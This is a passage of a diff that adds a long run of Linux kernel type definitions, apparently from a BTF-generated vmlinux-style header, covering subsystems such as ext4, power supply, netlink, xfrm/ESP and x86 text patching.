ext4_iget_flags; + +struct ext4_xattr_inode_array { + unsigned int count; + struct inode *inodes[0]; +}; + +struct mpage_da_data { + struct inode *inode; + struct writeback_control *wbc; + unsigned int can_map: 1; + long unsigned int first_page; + long unsigned int next_page; + long unsigned int last_page; + struct ext4_map_blocks map; + struct ext4_io_submit io_submit; + unsigned int do_map: 1; + unsigned int scanned_until_end: 1; + unsigned int journalled_more_data: 1; +}; + +struct fsverity_info; + +struct fscrypt_info; + +enum { + BLK_MQ_NO_TAG = 4294967295, + BLK_MQ_TAG_MIN = 1, + BLK_MQ_TAG_MAX = 4294967294, +}; + +struct io_uring_rsrc_update { + __u32 offset; + __u32 resv; + __u64 data; +}; + +typedef struct io_wq_work *free_work_fn(struct io_wq_work *); + +typedef void io_wq_work_fn(struct io_wq_work *); + +struct io_wq_data { + struct io_wq_hash *hash; + struct task_struct *task; + io_wq_work_fn *do_work; + free_work_fn *free_work; +}; + +struct io_tctx_node { + struct list_head ctx_node; + struct task_struct *task; + struct io_ring_ctx *ctx; +}; + +struct ei_entry { + struct list_head list; + long unsigned int start_addr; + long unsigned int end_addr; + int etype; + void *priv; +}; + +struct override_status_id { + struct acpi_device_id hid[2]; + struct x86_cpu_id cpu_ids[2]; + struct dmi_system_id dmi_ids[2]; + const char *uid; + const char *path; + long long unsigned int status; +}; + +enum dmi_entry_type { + DMI_ENTRY_BIOS = 0, + DMI_ENTRY_SYSTEM = 1, + DMI_ENTRY_BASEBOARD = 2, + DMI_ENTRY_CHASSIS = 3, + DMI_ENTRY_PROCESSOR = 4, + DMI_ENTRY_MEM_CONTROLLER = 5, + DMI_ENTRY_MEM_MODULE = 6, + DMI_ENTRY_CACHE = 7, + DMI_ENTRY_PORT_CONNECTOR = 8, + DMI_ENTRY_SYSTEM_SLOT = 9, + DMI_ENTRY_ONBOARD_DEVICE = 10, + DMI_ENTRY_OEMSTRINGS = 11, + DMI_ENTRY_SYSCONF = 12, + DMI_ENTRY_BIOS_LANG = 13, + DMI_ENTRY_GROUP_ASSOC = 14, + DMI_ENTRY_SYSTEM_EVENT_LOG = 15, + DMI_ENTRY_PHYS_MEM_ARRAY = 16, + DMI_ENTRY_MEM_DEVICE = 17, + DMI_ENTRY_32_MEM_ERROR = 18, + DMI_ENTRY_MEM_ARRAY_MAPPED_ADDR = 19, + DMI_ENTRY_MEM_DEV_MAPPED_ADDR = 20, + DMI_ENTRY_BUILTIN_POINTING_DEV = 21, + DMI_ENTRY_PORTABLE_BATTERY = 22, + DMI_ENTRY_SYSTEM_RESET = 23, + DMI_ENTRY_HW_SECURITY = 24, + DMI_ENTRY_SYSTEM_POWER_CONTROLS = 25, + DMI_ENTRY_VOLTAGE_PROBE = 26, + DMI_ENTRY_COOLING_DEV = 27, + DMI_ENTRY_TEMP_PROBE = 28, + DMI_ENTRY_ELECTRICAL_CURRENT_PROBE = 29, + DMI_ENTRY_OOB_REMOTE_ACCESS = 30, + DMI_ENTRY_BIS_ENTRY = 31, + DMI_ENTRY_SYSTEM_BOOT = 32, + DMI_ENTRY_MGMT_DEV = 33, + DMI_ENTRY_MGMT_DEV_COMPONENT = 34, + DMI_ENTRY_MGMT_DEV_THRES = 35, + DMI_ENTRY_MEM_CHANNEL = 36, + DMI_ENTRY_IPMI_DEV = 37, + DMI_ENTRY_SYS_POWER_SUPPLY = 38, + DMI_ENTRY_ADDITIONAL = 39, + DMI_ENTRY_ONBOARD_DEV_EXT = 40, + DMI_ENTRY_MGMT_CONTROLLER_HOST = 41, + DMI_ENTRY_INACTIVE = 126, + DMI_ENTRY_END_OF_TABLE = 127, +}; + +enum { + POWER_SUPPLY_STATUS_UNKNOWN = 0, + POWER_SUPPLY_STATUS_CHARGING = 1, + POWER_SUPPLY_STATUS_DISCHARGING = 2, + POWER_SUPPLY_STATUS_NOT_CHARGING = 3, + POWER_SUPPLY_STATUS_FULL = 4, +}; + +enum { + POWER_SUPPLY_TECHNOLOGY_UNKNOWN = 0, + POWER_SUPPLY_TECHNOLOGY_NiMH = 1, + POWER_SUPPLY_TECHNOLOGY_LION = 2, + POWER_SUPPLY_TECHNOLOGY_LIPO = 3, + POWER_SUPPLY_TECHNOLOGY_LiFe = 4, + POWER_SUPPLY_TECHNOLOGY_NiCd = 5, + POWER_SUPPLY_TECHNOLOGY_LiMn = 6, +}; + +enum { + POWER_SUPPLY_CAPACITY_LEVEL_UNKNOWN = 0, + POWER_SUPPLY_CAPACITY_LEVEL_CRITICAL = 1, + POWER_SUPPLY_CAPACITY_LEVEL_LOW = 2, + POWER_SUPPLY_CAPACITY_LEVEL_NORMAL = 3, + POWER_SUPPLY_CAPACITY_LEVEL_HIGH = 4, + POWER_SUPPLY_CAPACITY_LEVEL_FULL = 5, +}; + +enum power_supply_type { + POWER_SUPPLY_TYPE_UNKNOWN = 0, + POWER_SUPPLY_TYPE_BATTERY = 1, + POWER_SUPPLY_TYPE_UPS = 2, + POWER_SUPPLY_TYPE_MAINS = 3, + POWER_SUPPLY_TYPE_USB = 4, + POWER_SUPPLY_TYPE_USB_DCP = 5, + POWER_SUPPLY_TYPE_USB_CDP = 6, + POWER_SUPPLY_TYPE_USB_ACA = 7, + POWER_SUPPLY_TYPE_USB_TYPE_C = 8, + POWER_SUPPLY_TYPE_USB_PD = 9, + POWER_SUPPLY_TYPE_USB_PD_DRP = 10, + POWER_SUPPLY_TYPE_APPLE_BRICK_ID = 11, + POWER_SUPPLY_TYPE_WIRELESS = 12, +}; + +enum power_supply_usb_type { + POWER_SUPPLY_USB_TYPE_UNKNOWN = 0, + POWER_SUPPLY_USB_TYPE_SDP = 1, + POWER_SUPPLY_USB_TYPE_DCP = 2, + POWER_SUPPLY_USB_TYPE_CDP = 3, + POWER_SUPPLY_USB_TYPE_ACA = 4, + POWER_SUPPLY_USB_TYPE_C = 5, + POWER_SUPPLY_USB_TYPE_PD = 6, + POWER_SUPPLY_USB_TYPE_PD_DRP = 7, + POWER_SUPPLY_USB_TYPE_PD_PPS = 8, + POWER_SUPPLY_USB_TYPE_APPLE_BRICK_ID = 9, +}; + +union power_supply_propval { + int intval; + const char *strval; +}; + +struct power_supply_config { + struct device_node *of_node; + struct fwnode_handle *fwnode; + void *drv_data; + const struct attribute_group **attr_grp; + char **supplied_to; + size_t num_supplicants; +}; + +struct power_supply; + +struct power_supply_desc { + const char *name; + enum power_supply_type type; + const enum power_supply_usb_type *usb_types; + size_t num_usb_types; + const enum power_supply_property *properties; + size_t num_properties; + int (*get_property)(struct power_supply *, enum power_supply_property, union power_supply_propval *); + int (*set_property)(struct power_supply *, enum power_supply_property, const union power_supply_propval *); + int (*property_is_writeable)(struct power_supply *, enum power_supply_property); + void (*external_power_changed)(struct power_supply *); + void (*set_charged)(struct power_supply *); + bool no_thermal; + int use_for_apm; +}; + +struct power_supply_battery_info; + +struct power_supply { + const struct power_supply_desc *desc; + char **supplied_to; + size_t num_supplicants; + char **supplied_from; + size_t num_supplies; + struct device_node *of_node; + void *drv_data; + struct device dev; + struct work_struct changed_work; + struct delayed_work deferred_register_work; + spinlock_t changed_lock; + bool changed; + bool initialized; + bool removing; + atomic_t use_cnt; + struct power_supply_battery_info *battery_info; + struct thermal_zone_device *tzd; + struct thermal_cooling_device *tcd; +}; + +struct power_supply_maintenance_charge_table; + +struct power_supply_battery_ocv_table; + +struct power_supply_resistance_temp_table; + +struct power_supply_vbat_ri_table; + +struct power_supply_battery_info { + unsigned int technology; + int energy_full_design_uwh; + int charge_full_design_uah; + int voltage_min_design_uv; + int voltage_max_design_uv; + int tricklecharge_current_ua; + int precharge_current_ua; + int precharge_voltage_max_uv; + int charge_term_current_ua; + int charge_restart_voltage_uv; + int overvoltage_limit_uv; + int constant_charge_current_max_ua; + int constant_charge_voltage_max_uv; + struct power_supply_maintenance_charge_table *maintenance_charge; + int maintenance_charge_size; + int alert_low_temp_charge_current_ua; + int alert_low_temp_charge_voltage_uv; + int alert_high_temp_charge_current_ua; + int alert_high_temp_charge_voltage_uv; + int factory_internal_resistance_uohm; + int factory_internal_resistance_charging_uohm; + int ocv_temp[20]; + int temp_ambient_alert_min; + int temp_ambient_alert_max; + int temp_alert_min; + int temp_alert_max; + int temp_min; + int temp_max; + struct power_supply_battery_ocv_table *ocv_table[20]; + int ocv_table_size[20]; + struct power_supply_resistance_temp_table *resist_table; + int resist_table_size; + struct power_supply_vbat_ri_table *vbat2ri_discharging; + int vbat2ri_discharging_size; + struct power_supply_vbat_ri_table *vbat2ri_charging; + int vbat2ri_charging_size; + int bti_resistance_ohm; + int bti_resistance_tolerance; +}; + +struct power_supply_battery_ocv_table { + int ocv; + int capacity; +}; + +struct power_supply_resistance_temp_table { + int temp; + int resistance; +}; + +struct power_supply_vbat_ri_table { + int vbat_uv; + int ri_uohm; +}; + +struct power_supply_maintenance_charge_table { + int charge_current_max_ua; + int charge_voltage_max_uv; + int charge_safety_timer_minutes; +}; + +struct acpi_battery_hook { + const char *name; + int (*add_battery)(struct power_supply *, struct acpi_battery_hook *); + int (*remove_battery)(struct power_supply *, struct acpi_battery_hook *); + struct list_head list; +}; + +enum { + ACPI_BATTERY_ALARM_PRESENT = 0, + ACPI_BATTERY_XINFO_PRESENT = 1, + ACPI_BATTERY_QUIRK_PERCENTAGE_CAPACITY = 2, + ACPI_BATTERY_QUIRK_THINKPAD_MAH = 3, + ACPI_BATTERY_QUIRK_DEGRADED_FULL_CHARGE = 4, +}; + +struct acpi_battery { + struct mutex lock; + struct mutex sysfs_lock; + struct power_supply *bat; + struct power_supply_desc bat_desc; + struct acpi_device *device; + struct notifier_block pm_nb; + struct list_head list; + long unsigned int update_time; + int revision; + int rate_now; + int capacity_now; + int voltage_now; + int design_capacity; + int full_charge_capacity; + int technology; + int design_voltage; + int design_capacity_warning; + int design_capacity_low; + int cycle_count; + int measurement_accuracy; + int max_sampling_time; + int min_sampling_time; + int max_averaging_interval; + int min_averaging_interval; + int capacity_granularity_1; + int capacity_granularity_2; + int alarm; + char model_number[64]; + char serial_number[64]; + char type[64]; + char oem_info[64]; + int state; + int power_unit; + long unsigned int flags; +}; + +struct acpi_offsets { + size_t offset; + u8 mode; +}; + +struct vt_notifier_param { + struct vc_data *vc; + unsigned int c; +}; + +struct vcs_poll_data { + struct notifier_block notifier; + unsigned int cons_num; + int event; + wait_queue_head_t waitq; + struct fasync_struct *fasync; +}; + +struct aper_size_info_8 { + int size; + int num_entries; + int page_order; + u8 size_value; +}; + +struct aper_size_info_32 { + int size; + int num_entries; + int page_order; + u32 size_value; +}; + +struct aper_size_info_lvl2 { + int size; + int num_entries; + u32 size_value; +}; + +struct container_dev { + struct device dev; + int (*offline)(struct container_dev *); +}; + +struct dma_fence_array { + struct dma_fence base; + spinlock_t lock; + unsigned int num_fences; + atomic_t num_pending; + struct dma_fence **fences; + struct irq_work work; +}; + +struct input_dev_poller { + void (*poll)(struct input_dev *); + unsigned int poll_interval; + unsigned int poll_interval_max; + unsigned int poll_interval_min; + struct input_dev *input; + struct delayed_work work; +}; + +struct focaltech_finger_state { + bool active; + bool valid; + unsigned int x; + unsigned int y; +}; + +struct focaltech_hw_state { + struct focaltech_finger_state fingers[5]; + unsigned int width; + bool pressed; +}; + +struct focaltech_data { + unsigned int x_max; + unsigned int y_max; + struct focaltech_hw_state state; +}; + +enum power_supply_notifier_events { + PSY_EVENT_PROP_CHANGED = 0, +}; + +struct psy_am_i_supplied_data { + struct power_supply *psy; + unsigned int count; +}; + +struct psy_get_supplier_prop_data { + struct power_supply *psy; + enum power_supply_property psp; + union power_supply_propval *val; +}; + +struct flow_match_meta { + struct flow_dissector_key_meta *key; + struct flow_dissector_key_meta *mask; +}; + +struct flow_match_basic { + struct flow_dissector_key_basic *key; + struct flow_dissector_key_basic *mask; +}; + +struct flow_match_control { + struct flow_dissector_key_control *key; + struct flow_dissector_key_control *mask; +}; + +struct flow_match_eth_addrs { + struct flow_dissector_key_eth_addrs *key; + struct flow_dissector_key_eth_addrs *mask; +}; + +struct flow_match_vlan { + struct flow_dissector_key_vlan *key; + struct flow_dissector_key_vlan *mask; +}; + +struct flow_match_arp { + struct flow_dissector_key_arp *key; + struct flow_dissector_key_arp *mask; +}; + +struct flow_match_ipv4_addrs { + struct flow_dissector_key_ipv4_addrs *key; + struct flow_dissector_key_ipv4_addrs *mask; +}; + +struct flow_match_ipv6_addrs { + struct flow_dissector_key_ipv6_addrs *key; + struct flow_dissector_key_ipv6_addrs *mask; +}; + +struct flow_match_ip { + struct flow_dissector_key_ip *key; + struct flow_dissector_key_ip *mask; +}; + +struct flow_match_ports { + struct flow_dissector_key_ports *key; + struct flow_dissector_key_ports *mask; +}; + +struct flow_match_ports_range { + struct flow_dissector_key_ports_range *key; + struct flow_dissector_key_ports_range *mask; +}; + +struct flow_match_icmp { + struct flow_dissector_key_icmp *key; + struct flow_dissector_key_icmp *mask; +}; + +struct flow_match_tcp { + struct flow_dissector_key_tcp *key; + struct flow_dissector_key_tcp *mask; +}; + +struct flow_match_mpls { + struct flow_dissector_key_mpls *key; + struct flow_dissector_key_mpls *mask; +}; + +struct flow_match_enc_keyid { + struct flow_dissector_key_keyid *key; + struct flow_dissector_key_keyid *mask; +}; + +struct flow_match_enc_opts { + struct flow_dissector_key_enc_opts *key; + struct flow_dissector_key_enc_opts *mask; +}; + +struct flow_match_ct { + struct flow_dissector_key_ct *key; + struct flow_dissector_key_ct *mask; +}; + +struct flow_match_pppoe { + struct flow_dissector_key_pppoe *key; + struct flow_dissector_key_pppoe *mask; +}; + +struct flow_match_l2tpv3 { + struct flow_dissector_key_l2tpv3 *key; + struct flow_dissector_key_l2tpv3 *mask; +}; + +enum flow_block_command { + FLOW_BLOCK_BIND = 0, + FLOW_BLOCK_UNBIND = 1, +}; + +enum flow_block_binder_type { + FLOW_BLOCK_BINDER_TYPE_UNSPEC = 0, + FLOW_BLOCK_BINDER_TYPE_CLSACT_INGRESS = 1, + FLOW_BLOCK_BINDER_TYPE_CLSACT_EGRESS = 2, + FLOW_BLOCK_BINDER_TYPE_RED_EARLY_DROP = 3, + FLOW_BLOCK_BINDER_TYPE_RED_MARK = 4, +}; + +struct flow_block_offload { + enum flow_block_command command; + enum flow_block_binder_type binder_type; + bool block_shared; + bool unlocked_driver_cb; + struct net *net; + struct flow_block *block; + struct list_head cb_list; + struct list_head *driver_block_list; + struct netlink_ext_ack *extack; + struct Qdisc *sch; + struct list_head *cb_list_head; +}; + +struct flow_block_cb; + +struct flow_block_indr { + struct list_head list; + struct net_device *dev; + struct Qdisc *sch; + enum flow_block_binder_type binder_type; + void *data; + void *cb_priv; + void (*cleanup)(struct flow_block_cb *); +}; + +struct flow_block_cb { + struct list_head driver_list; + struct list_head list; + flow_setup_cb_t *cb; + void *cb_ident; + void *cb_priv; + void (*release)(void *); + struct flow_block_indr indr; + unsigned int refcnt; +}; + +enum offload_act_command { + FLOW_ACT_REPLACE = 0, + FLOW_ACT_DESTROY = 1, + FLOW_ACT_STATS = 2, +}; + +struct flow_offload_action { + struct netlink_ext_ack *extack; + enum offload_act_command command; + enum flow_action_id id; + u32 index; + long unsigned int cookie; + struct flow_stats stats; + struct flow_action action; +}; + +typedef int flow_indr_block_bind_cb_t(struct net_device *, struct Qdisc *, void *, enum tc_setup_type, void *, void *, void (*)(struct flow_block_cb *)); + +struct flow_indr_dev { + struct list_head list; + flow_indr_block_bind_cb_t *cb; + void *cb_priv; + refcount_t refcnt; +}; + +struct flow_indir_dev_info { + void *data; + struct net_device *dev; + struct Qdisc *sch; + enum tc_setup_type type; + void (*cleanup)(struct flow_block_cb *); + struct list_head list; + enum flow_block_command command; + enum flow_block_binder_type binder_type; + struct list_head *cb_list; +}; + +struct sockaddr_nl { + __kernel_sa_family_t nl_family; + short unsigned int nl_pad; + __u32 nl_pid; + __u32 nl_groups; +}; + +enum nlmsgerr_attrs { + NLMSGERR_ATTR_UNUSED = 0, + NLMSGERR_ATTR_MSG = 1, + NLMSGERR_ATTR_OFFS = 2, + NLMSGERR_ATTR_COOKIE = 3, + NLMSGERR_ATTR_POLICY = 4, + NLMSGERR_ATTR_MISS_TYPE = 5, + NLMSGERR_ATTR_MISS_NEST = 6, + __NLMSGERR_ATTR_MAX = 7, + NLMSGERR_ATTR_MAX = 6, +}; + +struct nl_pktinfo { + __u32 group; +}; + +enum { + NETLINK_UNCONNECTED = 0, + NETLINK_CONNECTED = 1, +}; + +enum netlink_skb_flags { + NETLINK_SKB_DST = 8, +}; + +struct netlink_notify { + struct net *net; + u32 portid; + int protocol; +}; + +struct netlink_tap { + struct net_device *dev; + struct module *module; + struct list_head list; +}; + +struct trace_event_raw_netlink_extack { + struct trace_entry ent; + u32 __data_loc_msg; + char __data[0]; +}; + +struct trace_event_data_offsets_netlink_extack { + u32 msg; +}; + +typedef void (*btf_trace_netlink_extack)(void *, const char *); + +struct netlink_sock { + struct sock sk; + u32 portid; + u32 dst_portid; + u32 dst_group; + u32 flags; + u32 subscriptions; + u32 ngroups; + long unsigned int *groups; + long unsigned int state; + size_t max_recvmsg_len; + wait_queue_head_t wait; + bool bound; + bool cb_running; + int dump_done_errno; + struct netlink_callback cb; + struct mutex *cb_mutex; + struct mutex cb_def_mutex; + void (*netlink_rcv)(struct sk_buff *); + int (*netlink_bind)(struct net *, int); + void (*netlink_unbind)(struct net *, int); + struct module *module; + struct rhash_head node; + struct callback_head rcu; + struct work_struct work; +}; + +struct listeners; + +struct netlink_table { + struct rhashtable hash; + struct hlist_head mc_list; + struct listeners *listeners; + unsigned int flags; + unsigned int groups; + struct mutex *cb_mutex; + struct module *module; + int (*bind)(struct net *, int); + void (*unbind)(struct net *, int); + int registered; +}; + +struct listeners { + struct callback_head rcu; + long unsigned int masks[0]; +}; + +struct netlink_tap_net { + struct list_head netlink_tap_all; + struct mutex netlink_tap_lock; +}; + +struct netlink_compare_arg { + possible_net_t pnet; + u32 portid; +}; + +struct netlink_broadcast_data { + struct sock *exclude_sk; + struct net *net; + u32 portid; + u32 group; + int failure; + int delivery_failure; + int congested; + int delivered; + gfp_t allocation; + struct sk_buff *skb; + struct sk_buff *skb2; +}; + +struct netlink_set_err_data { + struct sock *exclude_sk; + u32 portid; + u32 group; + int code; +}; + +struct nl_seq_iter { + struct seq_net_private p; + struct rhashtable_iter hti; + int link; +}; + +struct bpf_iter__netlink { + union { + struct bpf_iter_meta *meta; + }; + union { + struct netlink_sock *sk; + }; +}; + +enum hwtstamp_tx_types { + HWTSTAMP_TX_OFF = 0, + HWTSTAMP_TX_ON = 1, + HWTSTAMP_TX_ONESTEP_SYNC = 2, + HWTSTAMP_TX_ONESTEP_P2P = 3, + __HWTSTAMP_TX_CNT = 4, +}; + +enum hwtstamp_rx_filters { + HWTSTAMP_FILTER_NONE = 0, + HWTSTAMP_FILTER_ALL = 1, + HWTSTAMP_FILTER_SOME = 2, + HWTSTAMP_FILTER_PTP_V1_L4_EVENT = 3, + HWTSTAMP_FILTER_PTP_V1_L4_SYNC = 4, + HWTSTAMP_FILTER_PTP_V1_L4_DELAY_REQ = 5, + HWTSTAMP_FILTER_PTP_V2_L4_EVENT = 6, + HWTSTAMP_FILTER_PTP_V2_L4_SYNC = 7, + HWTSTAMP_FILTER_PTP_V2_L4_DELAY_REQ = 8, + HWTSTAMP_FILTER_PTP_V2_L2_EVENT = 9, + HWTSTAMP_FILTER_PTP_V2_L2_SYNC = 10, + HWTSTAMP_FILTER_PTP_V2_L2_DELAY_REQ = 11, + HWTSTAMP_FILTER_PTP_V2_EVENT = 12, + HWTSTAMP_FILTER_PTP_V2_SYNC = 13, + HWTSTAMP_FILTER_PTP_V2_DELAY_REQ = 14, + HWTSTAMP_FILTER_NTP_ALL = 15, + __HWTSTAMP_FILTER_CNT = 16, +}; + +struct tsinfo_reply_data { + struct ethnl_reply_data base; + struct ethtool_ts_info ts_info; +}; + +enum { + BPF_F_CURRENT_NETNS = -1, +}; + +struct bpf_sock_tuple { + union { + struct { + __be32 saddr; + __be32 daddr; + __be16 sport; + __be16 dport; + } ipv4; + struct { + __be32 saddr[4]; + __be32 daddr[4]; + __be16 sport; + __be16 dport; + } ipv6; + }; +}; + +struct nf_conn___init { + struct nf_conn ct; +}; + +struct bpf_ct_opts { + s32 netns_id; + s32 error; + u8 l4proto; + u8 dir; + u8 reserved[2]; +}; + +enum { + NF_BPF_CT_OPTS_SZ = 12, +}; + +struct tcp_timewait_sock { + struct inet_timewait_sock tw_sk; + u32 tw_rcv_wnd; + u32 tw_ts_offset; + u32 tw_ts_recent; + u32 tw_last_oow_ack_time; + int tw_ts_recent_stamp; + u32 tw_tx_delay; + struct tcp_md5sig_key *tw_md5_key; +}; + +enum tcp_tw_status { + TCP_TW_SUCCESS = 0, + TCP_TW_RST = 1, + TCP_TW_ACK = 2, + TCP_TW_SYN = 3, +}; + +struct ip_esp_hdr { + __be32 spi; + __be32 seq_no; + __u8 enc_data[0]; +}; + +struct sadb_alg { + __u8 sadb_alg_id; + __u8 sadb_alg_ivlen; + __u16 sadb_alg_minbits; + __u16 sadb_alg_maxbits; + __u16 sadb_alg_reserved; +}; + +struct xfrm_tunnel_skb_cb { + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + } header; + union { + struct ip_tunnel *ip4; + struct ip6_tnl *ip6; + } tunnel; +}; + +struct xfrm_skb_cb { + struct xfrm_tunnel_skb_cb header; + union { + struct { + __u32 low; + __u32 hi; + } output; + struct { + __be32 low; + __be32 hi; + } input; + } seq; +}; + +struct xfrm_algo_aead_info { + char *geniv; + u16 icv_truncbits; +}; + +struct xfrm_algo_auth_info { + u16 icv_truncbits; + u16 icv_fullbits; +}; + +struct xfrm_algo_encr_info { + char *geniv; + u16 blockbits; + u16 defkeybits; +}; + +struct xfrm_algo_comp_info { + u16 threshold; +}; + +struct xfrm_algo_desc { + char *name; + char *compat; + u8 available: 1; + u8 pfkey_supported: 1; + union { + struct xfrm_algo_aead_info aead; + struct xfrm_algo_auth_info auth; + struct xfrm_algo_encr_info encr; + struct xfrm_algo_comp_info comp; + } uinfo; + struct sadb_alg desc; +}; + +struct xfrm4_protocol { + int (*handler)(struct sk_buff *); + int (*input_handler)(struct sk_buff *, int, __be32, int); + int (*cb_handler)(struct sk_buff *, int); + int (*err_handler)(struct sk_buff *, u32); + struct xfrm4_protocol *next; + int priority; +}; + +struct esp_info { + struct ip_esp_hdr *esph; + __be64 seqno; + int tfclen; + int tailen; + int plen; + int clen; + int len; + int nfrags; + __u8 proto; + bool inplace; +}; + +struct esp_skb_cb { + struct xfrm_skb_cb xfrm; + void *tmp; +}; + +struct esp_output_extra { + __be32 seqhi; + u32 esphoff; +}; + +struct xfrm_algo_list { + struct xfrm_algo_desc *algs; + int entries; + u32 type; + u32 mask; +}; + +struct xfrm_aead_name { + const char *name; + int icvbits; +}; + +struct ip6_fraglist_iter { + struct ipv6hdr *tmp_hdr; + struct sk_buff *frag; + int offset; + unsigned int hlen; + __be32 frag_id; + u8 nexthdr; +}; + +struct ip6_frag_state { + u8 *prevhdr; + unsigned int hlen; + unsigned int mtu; + unsigned int left; + int offset; + int ptr; + int hroom; + int troom; + __be32 frag_id; + u8 nexthdr; +}; + +struct br_input_skb_cb { + struct net_device *brdev; + u16 frag_max_size; + u8 proxyarp_replied: 1; + u8 src_port_isolated: 1; +}; + +struct nf_br_ops { + int (*br_dev_xmit_hook)(struct sk_buff *); +}; + +struct nf_bridge_frag_data; + +enum { + INET_ULP_INFO_UNSPEC = 0, + INET_ULP_INFO_NAME = 1, + INET_ULP_INFO_TLS = 2, + INET_ULP_INFO_MPTCP = 3, + __INET_ULP_INFO_MAX = 4, +}; + +struct tcpvegas_info { + __u32 tcpv_enabled; + __u32 tcpv_rttcnt; + __u32 tcpv_rtt; + __u32 tcpv_minrtt; +}; + +struct tcp_dctcp_info { + __u16 dctcp_enabled; + __u16 dctcp_ce_state; + __u32 dctcp_alpha; + __u32 dctcp_ab_ecn; + __u32 dctcp_ab_tot; +}; + +struct tcp_bbr_info { + __u32 bbr_bw_lo; + __u32 bbr_bw_hi; + __u32 bbr_min_rtt; + __u32 bbr_pacing_gain; + __u32 bbr_cwnd_gain; +}; + +union tcp_cc_info { + struct tcpvegas_info vegas; + struct tcp_dctcp_info dctcp; + struct tcp_bbr_info bbr; +}; + +enum { + MPTCP_SUBFLOW_ATTR_UNSPEC = 0, + MPTCP_SUBFLOW_ATTR_TOKEN_REM = 1, + MPTCP_SUBFLOW_ATTR_TOKEN_LOC = 2, + MPTCP_SUBFLOW_ATTR_RELWRITE_SEQ = 3, + MPTCP_SUBFLOW_ATTR_MAP_SEQ = 4, + MPTCP_SUBFLOW_ATTR_MAP_SFSEQ = 5, + MPTCP_SUBFLOW_ATTR_SSN_OFFSET = 6, + MPTCP_SUBFLOW_ATTR_MAP_DATALEN = 7, + MPTCP_SUBFLOW_ATTR_FLAGS = 8, + MPTCP_SUBFLOW_ATTR_ID_REM = 9, + MPTCP_SUBFLOW_ATTR_ID_LOC = 10, + MPTCP_SUBFLOW_ATTR_PAD = 11, + __MPTCP_SUBFLOW_ATTR_MAX = 12, +}; + +struct pci_root_res { + struct list_head list; + struct resource res; +}; + +struct pci_root_info { + struct list_head list; + char name[12]; + struct list_head resources; + struct resource busn; + int node; + int link; +}; + +struct amd_hostbridge { + u32 bus; + u32 slot; + u32 device; +}; + +struct fprop_local_single { + long unsigned int events; + unsigned int period; + raw_spinlock_t lock; +}; + +typedef int (*cmp_func_t)(const void *, const void *); + +struct alt_instr { + s32 instr_offset; + s32 repl_offset; + union { + struct { + u32 cpuid: 16; + u32 flags: 16; + }; + u32 ft_flags; + }; + u8 instrlen; + u8 replacementlen; +} __attribute__((packed)); + +struct paravirt_patch_site { + u8 *instr; + u8 type; + u8 len; +}; + +union text_poke_insn { + u8 text[5]; + struct { + u8 opcode; + s32 disp; + } __attribute__((packed)); +}; + +struct smp_alt_module { + struct module *mod; + char *name; + const s32 *locks; + const s32 *locks_end; + u8 *text; + u8 *text_end; + struct list_head next; +}; + +typedef struct { + struct mm_struct *mm; +} temp_mm_state_t; + +typedef void text_poke_f(void *, const void *, size_t); + +struct text_poke_loc { + s32 rel_addr; + s32 disp; + u8 len; + u8 opcode; + const u8 text[5]; + u8 old; +}; + +struct bp_patching_desc { + struct text_poke_loc *vec; + int nr_entries; + atomic_t refs; +}; + +enum vmx_l1d_flush_state { + VMENTER_L1D_FLUSH_AUTO = 0, + VMENTER_L1D_FLUSH_NEVER = 1, + VMENTER_L1D_FLUSH_COND = 2, + VMENTER_L1D_FLUSH_ALWAYS = 3, + VMENTER_L1D_FLUSH_EPT_DISABLED = 4, + VMENTER_L1D_FLUSH_NOT_REQUIRED = 5, +}; + +enum vmx_feature_leafs { + MISC_FEATURES = 0, + PRIMARY_CTLS = 1, + SECONDARY_CTLS = 2, + TERTIARY_CTLS_LOW = 3, + TERTIARY_CTLS_HIGH = 4, + NR_VMX_FEATURE_WORDS = 5, +}; + +struct acpi_table_boot { + struct acpi_table_header header; + u8 cmos_index; + u8 reserved[3]; +}; + +struct acpi_table_hpet { + struct acpi_table_header header; + u32 id; + struct acpi_generic_address address; + u8 sequence; + u16 minimum_tick; + u8 flags; +} __attribute__((packed)); + +struct acpi_table_madt { + struct acpi_table_header header; + u32 address; + u32 flags; +}; + +struct acpi_madt_multiproc_wakeup { + struct acpi_subtable_header header; + u16 mailbox_version; + u32 reserved; + u64 base_address; +}; + +struct acpi_madt_multiproc_wakeup_mailbox { + u16 command; + u16 reserved; + u32 apic_id; + u64 wakeup_vector; + u8 reserved_os[2032]; + u8 reserved_firmware[2048]; +}; + +struct inactive_task_frame { + long unsigned int r15; + long unsigned int r14; + long unsigned int r13; + long unsigned int r12; + long unsigned int bx; + long unsigned int bp; + long unsigned int ret_addr; +}; + +enum stack_type { + STACK_TYPE_UNKNOWN = 0, + STACK_TYPE_TASK = 1, + STACK_TYPE_IRQ = 2, + STACK_TYPE_SOFTIRQ = 3, + STACK_TYPE_ENTRY = 4, + STACK_TYPE_EXCEPTION = 5, + STACK_TYPE_EXCEPTION_LAST = 10, +}; + +struct stack_info { + enum stack_type type; + long unsigned int *begin; + long unsigned int *end; + long unsigned int *next_sp; +}; + +enum { + FTRACE_OPS_FL_ENABLED = 1, + FTRACE_OPS_FL_DYNAMIC = 2, + FTRACE_OPS_FL_SAVE_REGS = 4, + FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED = 8, + FTRACE_OPS_FL_RECURSION = 16, + FTRACE_OPS_FL_STUB = 32, + FTRACE_OPS_FL_INITIALIZED = 64, + FTRACE_OPS_FL_DELETED = 128, + FTRACE_OPS_FL_ADDING = 256, + FTRACE_OPS_FL_REMOVING = 512, + FTRACE_OPS_FL_MODIFYING = 1024, + FTRACE_OPS_FL_ALLOC_TRAMP = 2048, + FTRACE_OPS_FL_IPMODIFY = 4096, + FTRACE_OPS_FL_PID = 8192, + FTRACE_OPS_FL_RCU = 16384, + FTRACE_OPS_FL_TRACE_ARRAY = 32768, + FTRACE_OPS_FL_PERMANENT = 65536, + FTRACE_OPS_FL_DIRECT = 131072, +}; + +struct unwind_state { + struct stack_info stack_info; + long unsigned int stack_mask; + struct task_struct *task; + int graph_idx; + struct llist_node *kr_cur; + bool error; + bool signal; + bool full_regs; + long unsigned int sp; + long unsigned int bp; + long unsigned int ip; + struct pt_regs *regs; + struct pt_regs *prev_regs; +}; + +enum { + PER_LINUX = 0, + PER_LINUX_32BIT = 8388608, + PER_LINUX_FDPIC = 524288, + PER_SVR4 = 68157441, + PER_SVR3 = 83886082, + PER_SCOSVR3 = 117440515, + PER_OSR5 = 100663299, + PER_WYSEV386 = 83886084, + PER_ISCR4 = 67108869, + PER_BSD = 6, + PER_SUNOS = 67108870, + 